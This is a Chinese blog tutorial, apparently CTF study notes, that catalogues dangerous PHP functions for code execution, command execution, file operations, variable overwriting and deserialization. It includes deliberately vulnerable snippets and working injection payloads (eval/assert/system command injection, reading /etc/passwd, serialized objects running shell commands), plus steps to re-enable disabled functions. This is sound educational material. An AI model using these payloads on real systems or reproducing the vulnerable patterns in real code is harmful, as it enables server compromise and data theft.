前言
前面一篇文章学习了一些 PHP 的语法以及一些基本的知识,主要是入门,但是有一点没有讲,就是 PHP 的函数,因为内容比较多,所以我单独写一篇文章,这篇文章主要是讲解一些常见的存在漏洞或者比较危险的函数,主要是提供做题的思路,然后因为 ai 给出的建议非常多,我是过滤了一遍后才学习的,只保留了不超过100个函数
代码执行类函数
eval()函数
作用:将字符串作为 PHP 代码来执行,该字符串必须是有效的 PHP 代码,并且以分号结尾
语法:
mixed eval(string $code)mixed 是PHP中的一种伪类型(pseudo-type),表示一个变量可以接受多种不同的数据类型。它不是一个真正的数据类型,而是一种类型声明,用来表明函数参数或返回值可以是任何类型的值
参数:$code 要 执行的 PHP 代码字符串
返回值:返回执行代码的返回值,失败返回 false
注意:该函数传入的字符串如果包含 return 语句,它就会立即终止对字符串的求值
示例:
<?php eval("echo '哈喽,我是LawKing!';"); ?>如上,会输出 “哈喽,我是LawKing!” ,需要注意的是 eval() 函数内的字符串是被当作 PHP 代码执行,所有必须以分号结尾
这个函数如果是直接接收用户输入的参数值来进行代码执行,就存在代码执行漏洞,如下示例:
<!DOCTYPE html> <html> <head> <title>eval函数</title> </head> <body> 请输入你的名字,这将使用 eval() 函数来打印欢迎语 <form method="get" action="/index.php"> 姓名:<input type="text" name="username"> <input type="submit" text="提交"> <?php $name = $_GET['username']; eval("echo '哈喽,我是 $name !';"); ?> </body> </html>这段代码(php)的逻辑是接收用户提交的 username 参数,然后使用 eval 来打印欢迎语
这段代码(html)的部分是创建一个表单页面,方法为 get ,提交到服务器的 index.php 页面,也就是这个文件,直接提交给这个文件处理,然后两个 input ,分别是用户姓名的输入框和提交按钮
当用户输入自己的名字提交后,会展示对应的欢迎语,如图:

这样做的确没有错,但是 eval 是直接将字符串当作 PHP 代码执行,这也就说明用户输入什么代码,eval 就会执行什么代码,一旦没有对提交的参数进行过滤就会出现代码执行漏洞,比如,我们构造如下payload:
hacker_lawking !';phpinfo();//显示正常打印我们的名字,然后使用
' ;闭合前面的语句,代表我们要执行一个新的语句了,新的语句是phpinfo() 这个函数会在访问这个页面时显示 PHP 的所有信息,主要是调试的时候使用,如果正常环境下显示这个 PHP 的所有信息,其中会带有一些关键信息,会造成敏感信息泄露,;//代表当前语句结束,同时双斜杠会注释后面的内容,执行结果如下:

因为这个服务器是试用的,就是为了学习,所以不用担心泄露,可以看到输出了”我是 hacker_lawking!” 同时执行了我们的代码 phpinfo() 这就是代码执行漏洞,但是这不意味我们只能执行 phpinfo() ,我们还可以创建一个文件然后放一句话木马(webshell),然后进行连接,或者直接试用这个payload来执行想要执行的代码,比如获取目录信息,ls -al
hacker_lawking !';system('ls -al');//system 函数允许开发者在PHP脚本中执行shell命令,并且能够获取命令的输出结果,我们使用这个命令就可以执行 shell 命令,使用如上 payload 的执行结果如下:

可以看到当前目录下有四个文件,分别是: .htaccess .user.ini 404.html index.php
注意:上面这个默认是不能执行的,因为宝塔面板默认禁用了系统命令函数,可以通过 phpinfo() 查看 disable_functions

这需要在宝塔面板打开软件商店,然后打开 PHP 设置,然后打开禁用函数,删除对应的函数,然后才能使用 system() 等命令
assert()函数
作用:这是一个 PHP 中的断言函数,用于在开发和调试过程中验证假设条件,在 PHP 7.2.0 之前,它也可以被用作代码执行的手段
语法:
assert(mixed $assertion, Throwable|string $description = ?): bool参数:
- $assertion 必要参数,伪类型,主要是要测试的断言,可以是布尔表达式,返回布尔值的字符串,返回布尔值的 callable
- $description 可选参数,Throwable|string 类型,断言失败时显示的描述信息
返回值:布尔值,true 和 false,并触发警告或抛出异常
相关设置:
- zend.assertions = 1 断言是否生效
- assert.exception = 0 断言失败时是否抛出异常
- assert.callback = NULL 断言失败时是否使用自定义回调
基本使用示例:
<?php // 布尔断言 assert(2 + 2 === 4); // 成功 assert(2 + 2 === 5); // 失败 // 带描述的断言 assert(2 + 2 === 4, "数学计算错误"); assert(count([1,2,3]) === 3, "数组长度不正确"); // 使用变量 $age = 18; assert($age >= 18, "年龄必须大于等于18"); ?>这个函数的漏洞是历史问题,PHP 的版本得是 7.2.0 之前,字符串断言会调用 eval(),从而导致任意代码执行漏洞,如果是 PHP 5.4.8 之前的版本,会直接执行字符串中的代码,如果是在这两个版本中间的版本,需要修改php.ini,示例如下:
<?php // PHP < 7.2.0 $user_input = $_GET['debug']; assert($user_input); ?>// 需要复现请修改宝塔面板PHP配置文件中的该部分如下,并保存重启,请仔细检测前面的逗号注释符是否去掉,并且对应下面的内容 [Assertion] zend.assertions = 1 assert.active = 1 assert.exception = 0 assert.warning = 1 assert.bail = 0 assert.callback = assert.quiet_eval = 0上面这个代码接收了用户传入的 debug 参数,方法是 get ,就是可以通过 url 直接进行传参,然后使用 assert 断言用户的输入内容,如果用户输入构造好的 payload ,就会被 assert 调用的 eval 执行,payload 如下:
?debug=phpinfo() ?debug=system('ls -al') ?debug=file_get_contents('/etc/passwd')前面两个都知道了,第三个 file_get_contents 读取文件,路径为参数 /etc/passwd 这会返回系统用户名列表,系统服务账户,系统架构信息,以及登录的 shell

同样删除宝塔面板中的禁用函数 system 然后执行第二个 payload,结果如下:

create_function()函数
作用:通过执行代码字符串可以动态创建匿名函数,只在低于7.2的版本中适用
语法:
create_function(string $args, string $code): Closure|false参数:
- $args:函数参数列表(字符串格式)
- $code:函数体代码(字符串格式)
基础用法示例:
<?php // 创建一个简单的加法函数 $add = create_function('$a, $b', 'return $a + $b;'); echo $add(3, 5); // 输出: 8 // 等价于: function add($a, $b) { return $a + $b; } ?>代码注入漏洞:
<?php $user_input = $_GET['callback']; $func = create_function('', $user_input); $func(); ?>接收用户输入,将输入的参数传入其中的函数体部分,导致可以执行用户传入的任意代码,攻击示例如下:
$func = create_function('', 'phpinfo();//'); $func()上面这样会直接执行 phpinfo,实际示例:
<?php echo "<h2>create_function测试</h2>"; if (isset($_GET['cmd'])) { $payload = $_GET['cmd']; echo "Payload: " . htmlspecialchars($payload) . "<br><br>"; $func = create_function('', "system('$payload'); return 1;"); if ($func) { echo "函数创建完成,正在执行...<br>"; $result = $func(); echo "执行结果: " . ($result ? "成功" : "失败") . "<br>"; } } ?>paylaod 如下:
?cmd=ls实际执行代码:
create_function('', "system(ls); return 1;");为了方便复现,这里 PHP 脚本设置的比较简单,直接将我们输入的 cmd 参数用 payload 接收,然后在动态创建函数,在使用这个函数的时候 payload 被执行,成功导致命令注入
额外:isset() 函数是 PHP 中的一个语言构造,用于检测变量是否已设置且值不为 NULL ,它常用于避免未定义变量引发的错误

preg_replace()(/e模式)
作用:用于执行正则表达式的搜索与替换,支持单个或多个模式匹配,并可使用捕获组进行替换
语法:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )参数:
$pattern: 要搜索的模式,可以是字符串或数组$replacement: 用于替换的字符串或数组$subject: 要搜索替换的字符串或数组$limit: 可选,最大替换次数,默认-1(无限制)$count: 可选,完成的替换次数返回值:返回经过替换后的字符串或数组,如果出错则返回 NULL
基本使用示例:
<?php // 基本字符串替换 $string = "Hello World"; $pattern = '/World/'; $replacement = 'PHP'; $result = preg_replace($pattern, $replacement, $string); echo $result; // 输出: Hello PHP // 使用捕获组 $string = "John Smith"; $pattern = '/(\w+) (\w+)/'; $replacement = '$2, $1'; $result = preg_replace($pattern, $replacement, $string); echo $result; // 输出: Smith, John ?>第二个捕获组是使用正则表达式,前后斜杠是开始和结束的分隔符,中间的(\w+)创建一个捕获组,中间的 \w 是匹配一个或多个单词字符,这里会匹配 John ,然后中间一个空格,然后再次创建一个捕获组,这里会匹配 Smith,然后替换使用的是反向引用,正常应该是”捕获组1,捕获组2″,但是这里替换成”捕获组2,捕获组1″,所以输出 Smith,John
/e 修饰符漏洞原理:
在 PHP 5.5.0 之前,
preg_replace()支持/e修饰符。当使用/e修饰符时,$replacement参数会被当作 PHP 代码执行,而不是普通字符串所以一旦要替换的参数是恶意的代码就会导致代码注入漏洞,不过这是一个5.5的版本之前的漏洞,复现比较麻烦,就不复现了,大家知道这个就好,然后碰上了可以再找相关文献
array_map()函数
作用:array_map() 第一个参数是回调函数名(字符串),作用是为数组的每个元素应用回调函数
语法:
array array_map ( callable $callback , array $array1 [, array $... ] )参数:
$callback: 回调函数,用于处理数组元素$array1: 要处理的第一个数组...: 可选,更多数组返回值:返回一个数组,包含
$callback函数处理$array1每个元素后的结果漏洞原理:如果第一个参数来自用户输入且未经过滤,就可能导致任意代码执行,用户可以输入任意函数
<?php $array = array(0,1,2,3,4,5); array_map($_GET['func'],$array); ?>上面这段代码就是直接使用了用户输入的 func 参数的函数名,数据为数字数组,然后执行这个 array_map 函数,打印执行结果,我们可以构造如下 payload :
?func=phpinfo

如果需要执行 system 需要将我们输入的参数作为数组传入:
<?php if(isset($_GET['func']) && isset($_GET['cmd'])) { $func = $_GET['func']; $cmd = $_GET['cmd']; $array = array($cmd); array_map($func, $array); } ?>如上代码,我们就可以使用这个 payload 来执行 ls 命令:
?func=system&cmd=ls

当然实际情况可能不会像上面一样直接帮我们创建数组,可能需要我们按照数组的格式创建一个数组,然后内容为我们想要执行的系统命令,然后和函数名一起传入
call_user_func() 函数
作用:这个函数会调用第一个参数指定的用户自定义函数,并将后续参数传递给该函数
语法:
call_user_func($callback, $parameter1, $parameter2, ...)参数:
- $callback:要调用的函数(必需参数)
- $parameter:传递给函数的参数(可选,可以有多个)
- …:更多参数
返回值:返回被调用函数的返回值,如果函数调用失败,返回 FALSE
注意:传入call_user_func()的参数不能为引用传递,引用传递就是使用&符号的变量,就类似于你把原件给了别人,别人进行修改,原件就会改变,而值传递就是相当于将复印后的文件发给别人,即使修改,原件也不会变
漏洞示例:
<?php call_user_func($_GET['func'],$_GET['payload']); ?>payload 如下:
?func=system&payload=cat index.php这回换一个玩法,我们使用 cat 来查看 index.php 文件的内容,因为我们目录下有这个文件,如果这是一个题目,可能 flag 就在 flag 文件中,我们就需要通过这个函数的问题去获取 flag

因为 PHP 是后端代码,cat 之后需要我们手动 F12 来查看,同样,我们可以使用这种查看函数,或者存在查看漏洞的协议去获取其他文件的源码,然后根据获取的源码去找 flag
call_user_func_array()函数
作用:把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入,跟前面那个差不多,区别是一个是其他的参数,一个是数组作为参数
语法:
mixed call_user_func_array ( callable $callback , array $param_arr )参数:
- $callback:要调用的函数(必需参数)
- $param_arr:参数数组(必需参数)
返回值:返回函数结果,如果函数调用失败,返回 False
漏洞示例:
<?php call_user_func_array($_GET['func'],$_GET['payload']); ?>需要传入函数名和数组,数组的内容是我们要执行的命令,payload 如下:
?func=phpinfo&payload[]=1 ?func=system&payload[]=ls后面的数组内容就是我们需要执行的命令,第一个phpinfo是函数名,之所以接数组是因为防止数组为空导致报错,无法执行phpinfo,所以传入一个数字数字,数字为1,实际不影响效果

array_walk()函数
作用:对数组中的每个元素应用 用户自定义函数
语法:
array_walk(array, callback_function, parameter)漏洞点:callback参数可控时可执行任意函数
usort()函数
作用:使用用户自定义比较函数对数组进行排序,在上一篇文章中讲到了数组排序,这个是没有讲的一个函数,使用的是用户自定义的比较函数进行排序
语法:
usort(array, callback_function)漏洞点:比较函数参数可控时可执行任意代码
uasort()函数
作用:使用用户自定义比较函数对数组进行排序并保持索引关联
语法:
uasort(array, callback_function)漏洞点:同usort,回调函数可控导致代码执行
register_shutdown_function()函数
作用:注册一个在脚本执行结束时调用的函数
语法:
register_shutdown_function(callback_function)漏洞点:注册的函数名可控时可在脚本结束时执行任意代码
命令执行类函数
system()函数
前面用过,可以执行外部的命令,比如 ls cat 等等,不过需要注意限制,宝塔面板可能默认把这个禁用了,所以复现的时候需要注意,然后如果这个函数接收用户输入的内容就容易造成命令执行漏洞
exec()函数
一样,都是可以执行外部命令,whoami 等等
语法:
exec(string $command, array &$output = null, int &$result_code = null): string|false参数:
- $command (string)
- 要执行的命令
- 例如:
'ls -la'或'whoami'- $output (array,可选,引用传递)
- 命令执行后的输出结果会按行存储在此数组中
- 每行作为数组的一个元素
- $result_code (int,可选,引用传递)
- 命令执行的返回状态码
- 0 表示成功,非0表示失败
shell_exec()函数
执行系统命令,并且是完整输出,直接返回所有的输出,exec需要额外参数接收,而shell_exec不需要
语法:
shell_exec(string $command): string|false|null参数:要执行的命令 ‘ls -al’
返回值:返回完整的输出作为字符串,执行失败返回 false ,如果没有命令输出,会返回 null
passthru()函数
作用:直接执行外部程序并将原始输出传递给浏览器
语法:
passthru(string $command, int &$result_code = null): void|false参数:
- $command:要执行的命令
- $result_code:命令执行状态码(可选)
返回值:成功时返回 void,失败时返回 false
漏洞点:可执行任意系统命令,输出直接发送到客户端
proc_open()函数
作用:执行命令并打开文件指针用于进程间通信
语法:
proc_open(string|array $command, array $descriptorspec, array &$pipes, ?string $cwd = null, ?array $env = null, ?array $other_options = null): resource|false参数:
- $command:要执行的命令
- $descriptorspec:描述进程I/O的数组
- $pipes:进程管道数组
- $cwd:工作目录(可选)
- $env:环境变量(可选)
- $other_options:其他选项(可选)
返回值:返回进程资源或 false
漏洞点:可创建交互式shell,执行任意命令
proc_get_status()函数
作用:获取进程状态信息
语法:
proc_get_status(resource $process): array|false参数:$process (通过proc_open创建的进程资源)
返回值:包含进程状态信息的数组
漏洞点:配合proc_open可进行进程控制和命令执行
pcntl_exec()函数
作用:在当前进程中执行指定程序(进程替换)
语法:
pcntl_exec(string $path, array $args = [], array $env_vars = []): never参数:
- $path:可执行文件路径
- $args:参数数组(可选)
- $env_vars:环境变量数组(可选)
返回值:无返回值,成功时不会返回
漏洞点:可执行任意二进制程序,绕过一些安全限制
mail()函数
作用:发送邮件
语法:
mail(string $to, string $subject, string $message, array|string $additional_headers = [], string $additional_params = ""): bool参数:
- $to:收件人邮箱
- $subject:邮件主题
- $message:邮件内容
- $additional_headers:额外头部信息(可选)
- $additional_params:额外参数(可选)
返回值:成功返回 true ,失败返回 false
漏洞点:addtional_params 参数可控时可注入命令
mb_send_mail()函数
作用:发送支持多字节字符的邮件
语法:
mb_send_mail(string $to, string $subject, string $message, array|string $additional_headers = [], string $additional_params = ""): bool参数:和 mail 函数一样
返回值:布尔值
漏洞点:同样存在命令注入,特别是在 $additional_params 参数
imap_open()函数
作用:打开 IMAP 流连接
语法:
imap_open(string $mailbox, string $user, string $password, int $flags = 0, int $retries = 0, array $options = []): resource|false参数:
- $mailbox:邮箱服务器信息
- $user:用户名
- $password:密码
- $flags:连接标志(可选)
- $retries:重试次数(可选)
- $options:其他选项(可选)
返回值:IMAP 流资源或 false
漏洞点:mailbox参数可控时可触发远程命令执行(特别是在某些特殊构造下)
imap_mail()函数
作用:发送邮件到指定的收件人
语法:
imap_mail(string $to, string $subject, string $message, string $additional_headers = null, string $cc = null, string $bcc = null, string $rpath = null): bool参数:
- $to:收件人
- $subject:主题
- $message:内容
- $additional_headers:额外头部(可选)
- $cc:抄送(可选)
- $bcc:密送(可选)
- $rpath:返回路径(可选)
返回值:布尔值
漏洞点:$rpath等参数可控时可能存在命令注入风险
文件操作类函数
include()函数
作用:包含并运行指定文件
语法:
include(string $filename): mixed参数:$filename 要包含的文件路径
返回值:成功是返回1,失败时发出警告并返回 false
漏洞点:
- 文件包含漏洞
- 远程文件包含
- 敏感文件读取
include_once()函数
作用:包含并运行指定文件(确保只包含一次)
语法:
include_once(string $filename): mixed参数:$filename 要包含的文件路径
返回值:1 和 false
漏洞点:与include()相同,但防止重复包含
require()函数
作用:包含并运行指定文件(失败时致命错误)
语法:
require(string $filename): mixed参数:要包含的文件路径
返回值:成功时返回1,失败时产生致命错误
漏洞点:
- 文件包含漏洞
- 可导致网站完全瘫痪
- 可包含恶意文件执行代码
require_once()函数
作用:包含并运行指定文件(确保只包含一次,失败时致命错误)
语法:
require_once(string $filename): mixed参数:要包含的文件路径
返回值:成功时返回1,失败时产生致命错误
漏洞点:与require()相同,但防止重复包含
file_get_contents()函数
作用:将整个文件读入字符串
语法:
file_get_contents(string $filename, bool $use_include_path = false, $context = null, int $offset = 0, int $length = null): string|false参数:
- $filename:要读取的文件名
- $use_include_path:是否在include_path中搜索(可选)
- $context:流上下文(可选)
- $offset:起始位置(可选)
- $length:读取长度(可选)
返回值:文件内容字符串或false
漏洞点:
- 任意文件读取
- SSRF漏洞(支持URL)
- 可读取敏感配置文件
readfile()函数
作用:输出文件内容
语法:
readfile(string $filename, bool $use_include_path = false, $context = null): int|false参数:
- $filename:要读取的文件名
- $use_include_path:是否在include_path中搜索(可选)
- $context:流上下文(可选)
返回值:读取的字节数或 false
漏洞点:
- 任意文件读取
- 可直接输出敏感文件内容
- 文件下载功能中的路径遍历
file()函数
作用:把整个文件读入一个数组中
语法:
file(string $filename, int $flags = 0, $context = null): array|false参数:
- $filename:要读取的文件名
- $flags:标志参数(可选)
- $context:流上下文(可选)
返回值:文件内容数组或 false
漏洞点:
- 任意文件读取
- 按行读取敏感信息
- 可用于信息收集
file_put_contents()函数
作用:将字符串写入文件
语法:
file_put_contents(string $filename, mixed $data, int $flags = 0, $context = null): int|false参数:
- $filename:文件名
- $data:要写入的数据
- $flags:标志参数(可选)
- $context:流上下文(可选)
返回值:写入的字节数或 false
漏洞点:
- 任意文件写入
- Webshell上传
- 配置文件篡改
fwrite()函数
作用:写入文件
语法:
fwrite(resource $stream, string $data, ?int $length = null): int|false参数:
- $stream:文件句柄
- $data:要写入的数据
- $length:写入长度(可选)
返回值:写入的字节数或 false
漏洞点:
- 文件内容篡改
- 向已打开文件写入恶意代码
- 日志污染
fopen()函数
作用:打开文件或URL
语法:
fopen(string $filename, string $mode, bool $use_include_path = false, $context = null): resource|false参数:
- $filename:文件名或URL
- $mode:打开模式(r/w/a等)
- $use_include_path:是否在include_path中搜索(可选)
- $context:流上下文(可选)
返回值:文件句柄或 false
漏洞点:
- 任意文件读写
- SSRF漏洞
- 文件操作权限控制
copy()函数
作用:复制文件
语法:
copy(string $from, string $to, $context = null): bool参数:
- $from:源文件
- $to:目标文件
- $context:流上下文(可选)
返回值:成功返回 true,失败返回 false
漏洞点:
- 文件复制到敏感位置
- 绕过上传限制
- 文件覆盖攻击
move_uploaded_file()函数
作用:将上传的文件移动到新位置
语法:
move_uploaded_file(string $from, string $to): bool参数:
- $from:临时文件路径
- $to:目标文件路径
返回值:成功返回 true,失败返回 false
漏洞点:
- 文件上传漏洞
- 路径遍历攻击
- Webshell上传
- 文件类型绕过
unlink()函数
作用:删除文件
语法:
unlink(string $filename, $context = null): bool参数:
- $filename:要删除的文件名
- $context:流上下文(可选)
返回值:成功返回 true,失败返回 false
漏洞点:
- 任意文件删除
- 删除系统关键文件
- 破坏网站功能
rename()函数
作用:重命名文件或目录
语法:
rename(string $from, string $to, $context = null): bool参数:
- $from:原文件名
- $to:新文件名
- $context:流上下文(可选)
返回值:成功返回 true,失败返回 false
漏洞点:
- 文件重命名到敏感位置
- 覆盖重要文件
- 绕过文件访问控制
mkdir()函数
作用:创建目录
语法:
mkdir(string $directory, int $permissions = 0777, bool $recursive = false, $context = null): bool参数:
- $directory:目录名
- $permissions:权限(可选)
- $recursive:是否递归创建(可选)
- $context:流上下文(可选)
返回值:成功返回 true,失败返回 false
漏洞点:
- 创建恶意目录
- 权限提升
- 目录遍历配合使用
rmdir()函数
作用:删除目录
语法:
rmdir(string $directory, $context = null): bool参数:
- $directory:要删除的目录名
- $context:流上下文(可选)
返回值:成功返回 true,失败返回 false
漏洞点:
- 删除系统目录
- 破坏网站结构
- 权限滥用
highlight_file()函数
作用:语法高亮显示文件内容
语法:
highlight_file(string $filename, bool $return = false): string|bool参数:
- $filename:文件名
- $return:是否返回而不是输出(可选)
返回值:返回高亮代码字符串或布尔值
漏洞点:
- 源代码泄露
- 敏感信息暴露
- 文件内容直接展示
show_source()函数
作用:语法高亮显示文件源代码(highlight_file的别名)
语法:
show_source(string $filename, bool $return = false): string|bool参数:
- $filename:文件名
- $return:是否返回而不是输出(可选)
返回值:返回高亮代码字符串或布尔值
漏洞点:与highlight_file相同
变量覆盖类函数
extract()函数
作用:用于将数组中的键名作为变量名,键值作为变量值导入到当前的符号表中
语法:
extract(array &$array, int $flags = EXTR_OVERWRITE, string $prefix = ""): int参数:
- $array:包含变量名和值的关联数组
- $flags:提取标志(控制变量名冲突处理方式)
- $prefix:变量名前缀(可选)
返回值:成功导入的变量数量
漏洞点:
- 变量覆盖漏洞
- 可覆盖已存在的关键变量
- 导致业务逻辑异常或安全绕过
- 可用于修改权限、绕过认证等
parse_str()函数
作用:解析字符串为变量
语法:
parse_str(string $string, array &$result = null): void参数:
- $string:要解析的查询字符串
- $result:结果数组(可选,推荐使用)
返回值:无返回值
漏洞点:
- 变量覆盖漏洞
- 如果不使用第二个参数,会直接注册变量到全局作用域
- 可覆盖全局变量影响程序逻辑
- 常见于URL参数处理不当的场景
import_request_variables()函数
作用:将GET/POST/Cookie变量导入到全局作用域(PHP 5.3.0后已废弃)
语法:
import_request_variables(string $types, string $prefix = ""): bool参数:
- $types:要导入的变量类型(’G’GET, ‘P’POST, ‘C’Cookie)
- $prefix:变量名前缀(可选)
返回值:成功返回 true,失败返回 false
漏洞点:
- 严重的变量覆盖漏洞
- 直接将用户输入注册为全局变量
- 可覆盖任何已存在的变量
compact()函数
作用:建立一个数组,包括变量名和它们的值
语法:
compact(array|string $var_name, array|string ...$var_names): array参数:
- $var_name:变量名或变量名数组
- $var_names:更多变量名
返回值:包含变量名和值的关联数组
漏洞点:
- 虽然本身不直接危险,但与extract()配合使用可能产生安全问题
- 可能构建恶意数组传递给extract()
- 在某些场景下可能导致信息泄露
反序列化类函数
反序列化漏洞原理:
PHP反序列化漏洞(也称为PHP对象注入)的根本原因是:PHP在反序列化过程中会自动调用特定的魔术方法,如果这些魔术方法中包含了危险操作,攻击者就可以通过构造恶意的序列化字符串来触发这些危险操作
unserialize()函数
作用:用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构
语法:
mixed unserialize ( string $str [, array $options ] )参数:$str 需要反序列化的字符串,$options PHP 7.0+ 可选参数,可以指定允许的类名等
简单示例:
<?php // 序列化数组 $array = array('name' => '张三', 'age' => 18) $serialize = serialize($array) echo $serialize // 反序列化数组 $unserialize = unserialize($serialize) print_r($unserialize) ?>如上代码,先将一个数组进行序列化并输出,然后将序列化的数组进行反序列化再进行输出,因为反序列化 后是原始结构,就没办法通过 echo 输出,得用 print_r 来输出
serialize()函数
作用:序列化数组或对象,返回字符串,序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变,需要用的时候直接反序列化就好了
语法:
serialize(mixed $value): string参数:$value 是需要序列化的值,可以是任何类型(resource资源类型不可以)
返回值:字符串形式的序列化数据
反序列化漏洞的成因:
反序列化这两个函数本身没有安全问题,问题在于当反序列化的内容是不信任的数据或用户可控时,通过构造恶意的 payload 使魔术方法来执行恶意的代码,从而产生漏洞
当一个对象中存在魔术方法(以下双划线开头的函数),那么就会自动调用,比如接下来讲到的,在调用他们时受反序列化后的数据影响,执行了额外的代码
__wakeup()魔术方法
当使用 unserialize() 反序列化对象时,如果该对象的类中定义了 __wakeup() 方法,就会自动调用这个方法,设计初衷是用于在反序列化后重新建立对象可能需要的资源连接,比如数据库连接、文件句柄等
当 __wakeup() 方法中包含危险操作,如执行系统命令、文件操作、数据库查询等时,攻击者就可以传恶意的序列化字符串来触发这些操作,示例如下:
<?php class VulnerableClass { public $cmd; // __wakeup() 魔术方法 public function __wakeup() { // 危险操作:执行系统命令 if ($this->cmd) { system($this->cmd); } } } // 接收用户输入的序列化数据 if (isset($_GET['data'])) { $data = $_GET['data']; echo "反序列化数据: " . $data . "\n"; unserialize($data); } else { echo "请提供 data 参数进行测试\n"; echo "例如: ?data=YOUR_SERIALIZED_DATA\n"; } ?>如上代码就是一个可以复现的 __wakeup() 反序列化漏洞代码,直接放到服务器上面,然后构造我们的序列化数据来触发漏洞,使用这个代码来构造我们的序列化数据:
<?php class VulnerableClass { public $cmd; } $obj = new VulnerableClass(); $obj->cmd = "ls"; // 或者其他你想执行的命令 $serialized = serialize($obj); echo "恶意序列化数据: " . $serialized . "\n"; ?>这个代码是用来生成恶意序列化数据的代码,访问这个 php 脚本就会输出序列化后的数据,复制然后访问第一个漏洞脚本,带上输出的数据,参数是 data,复现该漏洞一定要注意删除宝塔面板禁用函数中的 system
流程: 设置我们想要执行的代码,保存,文件名:payload.php 访问地址:http://154.37.221.217/payload.php 页面返回信息:恶意序列化数据: O:15:"VulnerableClass":1:{s:3:"cmd";s:2:"ls";} payload为:O:15:"VulnerableClass":1:{s:3:"cmd";s:2:"ls";} 访问带有反序列化漏洞的页面 index.php 请求参数:http://154.37.221.217/index.php?data=O:15:"VulnerableClass":1:{s:3:"cmd";s:2:"ls";}

可以看到复现成功,payload.php 就是一个 payload 生成器,可以部署在自己服务器上,然后生成,主要是为了方便构造payload,这样就不需要我们手动构造,然后还要保证这个index.php中的确定义了这个VulnerableClass 对象,同时这个对象调用了 __wakeup() 魔术方法,这个时候提交序列化的 payload ,就能够成功,输出了 404.html index.php payload.php
index.php 的代码逻辑是用户访问时,如果提供了data参数,就会对data进行反序列化,反序列化时,PHP会根据序列化字符串中指定的类名(这里是”VulnerableClass”)来创建一个该类的对象,由于在代码中已经定义了VulnerableClass类,所以PHP会使用这个类定义来创建对象,并将序列化字符串中的属性值赋给该对象,这样在反序列化时就会执行魔术方法,而本例魔术方法中存在一个危险的函数,system,执行的命令是cmd属性的值
__destruct()魔术方法
这个方法是是对象的析构函数,在对象被销毁时自动调用,所以更广泛,可以是脚本结束时的销毁,也可以时手动 unset 销毁,还可以是对象引用时被覆盖,对象超出作用域,反序列化创建的临时对象被销毁,所以触发实际更多了,如下是一个正常的使用示例:
class DatabaseConnection { private $conn; public function __construct() { $this->conn = mysqli_connect('localhost', 'user', 'pass'); } public function __destruct() { // 自动关闭数据库连接 mysqli_close($this->conn); echo "数据库连接已关闭"; } }接下来我们尝试复现一下,在反序列化中复现,包含漏洞的脚本代码如下:
<?php class VulnerableClass { public $cmd; // __wakeup() 魔术方法 public function __destruct() { // 危险操作:执行系统命令 if ($this->cmd) { system($this->cmd); } } } // 接收用户输入的序列化数据 if (isset($_GET['data'])) { $data = $_GET['data']; echo "反序列化数据: " . $data . "\n"; unserialize($data); // 反序列化结束,后续没有其他代码了,意味脚本结束,自动执行对象销毁操作 } else { echo "请提供 data 参数进行测试\n"; echo "例如: ?data=YOUR_SERIALIZED_DATA\n"; } ?>其实反序列化都差不多,只不过方法不同,不过最后实现的效果是一样的,还是用 payload.php 生成器生成 payload ,这会稍微修改一下,我们想要执行查看 index.php 文件内容的命令,使用 cat index.php,然后访问 payload.php 获取到序列化后的数据:
O:15:"VulnerableClass":1:{s:3:"cmd";s:13:"cat index.php";}使用这个去请求漏洞页面,因为这个漏洞脚本后面没有其他的代码,所以反序列化我们的数据后,脚本执行完毕了,这个时候触发了自动销毁方法 __destruct() ,执行了查看命令:

可以看到成功复现,并将 index.php 的代码输出,不过感觉少了点,F12查看一下

可以看到原本所有的内容应该都是需要 F12 查看,因为php是后端语言,但是这个文件中 if($this—> 让浏览器以为 php 的内容结束了,后面的内容就被正常当作 html 内容输出了
其他魔术方法
想必你已经理解了反序列化漏洞的原理,其他的魔术方法其实都一样,只不过方法名不同,干的事情不同,如果你对其他的方法感兴趣,可以挨个修改代码进行复现,只需修改对应部分即可
那么还有那些魔术方法呢?如下:
- __toString() 用于在对象被当作字符串使用时自动调用,这个想要复现就需要反序列化后的对象在某个时刻被当作字符串使用时候才会触发这个方法中的代码
$obj = unserialize($data); // 反序列化 // 关键:对象被当作字符串使用,触发 __toString() echo $obj; // ← 这行代码触发了魔术方法!
- __invoke() 用于让对象像函数一样被调用,当你尝试以函数调用的方式执行一个对象时,PHP 会自动调用该对象的此魔术方法
$obj = unserialize($data); // 反序列化 // 关键:对象被当作函数调用 $obj(); // ← 这行代码触发了魔术方法!
- __construct() 这个方法在每次创建类的新实例时自动调用,因此非常适合执行对象初始化之前所需的任何设置或准备工作
反序列化时,PHP会创建一个新的对象,但不会调用构造函数。这是因为反序列化是为了恢复一个已经存在的对象状态,而不是创建一个全新的对象 由于反序列化不会触发__construct(),因此直接利用__construct()进行反序列化攻击的情况较少。但是,如果存在其他漏洞,使得攻击者能够控制对象的创建(例如,通过new一个类,并且类名和参数可控),那么构造函数中的危险代码就可能被触发 在某些复杂的POP链(利用多个类的魔术方法形成执行链)中,可能会通过反序列化触发其他魔术方法,然后在其他魔术方法中创建新的对象,从而触发构造函数 如果某个类的__wakeup()或__destruct()方法中使用了new来创建一个对象,那么攻击者可以控制这个新建对象的类名和参数吗?这取决于代码逻辑。如果代码中新建对象的类名和参数是可控的,那么可能构造出攻击链 不过,更常见的是,攻击者通过控制属性来影响反序列化后的对象状态,然后在其他魔术方法(如__destruct())被调用时执行恶意代码 那么这个魔术方法就没有漏洞了吗?如果代码中逻辑是new一个该对象,然后接收用户输入的cmd值为对象cmd,那么就存在漏洞,不过是命令注入漏洞,漏洞代码如下: <?php class VulnerableClass { public $cmd; public function __construct($cmd) { $this->cmd = $cmd; // 危险操作在构造时执行 system($this->cmd); } } // 用户输入直接传递给构造函数 $user_input = $_GET['cmd']; // 例如: ?cmd=whoami $obj = new VulnerableClass($user_input); // 直接创建对象,触发命令执行 ?> 这是我们直接url提交参数cmd=ls即可执行命令
- __sleep() 在对象被序列化时自动调用,它的主要作用是清理对象并指定哪些属性需要被序列化
